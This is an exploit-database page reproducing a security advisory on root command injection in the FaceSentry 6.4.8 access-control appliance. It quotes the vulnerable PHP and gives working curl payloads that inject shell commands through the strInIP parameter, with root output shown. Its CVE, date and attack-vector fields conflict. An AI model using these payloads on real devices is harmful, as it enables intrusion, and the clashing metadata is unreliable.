Exploitalert - Database of Exploits

FaceSentry Access Control System 6.4.8 Remote Command Injection

CVE	Category	Price	Severity
CVE-2021-42345	CWE-78	$500	Critical

Author	Risk	Exploitation Type	Date
Anonymous	High	Remote	2019-07-01

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019070006

FaceSentry Access Control System 6.4.8 Remote Command Injection

FaceSentry Access Control System 6.4.8 Remote Command Injection Vendor: iWT Ltd. Product web page: http://www.iwt.com.hk Affected version: Firmware 6.4.8 build 264 (Algorithm A16) Firmware 5.7.2 build 568 (Algorithm A14) Firmware 5.7.0 build 539 (Algorithm A14) Summary: FaceSentry 5AN is a revolutionary smart identity management appliance that offers entry via biometric face identification, contactless smart card, staff ID, or QR-code. The QR-code upgrade allows you to share an eKey with guests while you're away from your Office and monitor all activity via the web administration tool. Powered by standard PoE (Power over Ethernet), FaceSEntry 5AN can be installed in minutes with only 6 screws. FaceSentry 5AN is a true enterprise grade access control or time-and-attendance appliance. Desc: FaceSentry suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user via the 'strInIP' and 'strInPort' parameters (POST) in pingTest and tcpPortTest PHP scripts. ============================================================== /pingTest.php: -------------- 8: if (!isAuth('TestTools','R')){ 9: echo "No Permission"; 10: include("footer.php"); 11: exit; 12: } 13: 14: if(isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: 20: $strOperationResult = ""; 21: if ($strInIP != ""){ 22: 23: $out = array(); 24: exec("sudo ping -c 4 $strInIP",$out); 25: $result = ""; 26: foreach($out as $line){ 27: $result = $result.$line." "; 28: } -------------------------------------------------------------- /tcpPortTest.php: ----------------- 14: if (isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: if (isset($_POST["strInPort"])){ 20: $strInPort = $_POST["strInPort"]; 21: }else{ 22: $strInPort = ""; 23: } .. .. 53: $strOperationResult = ""; 54: if ($strInIP != "" and $strInPort != ""){ 55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10); 56: system("date>>".TCP_PORT_TEST); 57: if (!$fp) { 58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)"; 59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST); 60: } else { 61: fclose($fp); 62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces"); 63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST); 64: } 65: } ============================================================== Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) Linux 3.4.113-sun8i (armv7l) PHP/7.0.30-0ubuntu0.16.04.1 PHP/7.0.22-0ubuntu0.16.04.1 lighttpd/1.4.35 Armbian 5.38 Sunxi Linux (sun8i generation) Orange Pi PC + Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5523 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php 28.05.2019 -- $ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \ --data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' $ curl http://192.168.11.1/garbage.txt uid=0(root) gid=0(root) groups=0(root) -------------------------------------------------------------------------------- $ curl -X POST 'http://192.168.11.1/pingTest.php' \ --data 'strInIP=;sudo id' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \ |grep uid % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181 Ping Test Fail! (;sudo id) uid=0(root) gid=0(root) groups=0(root) <div id="six_tab_pages_nav" class="six_tab_pages_nav">

Impressum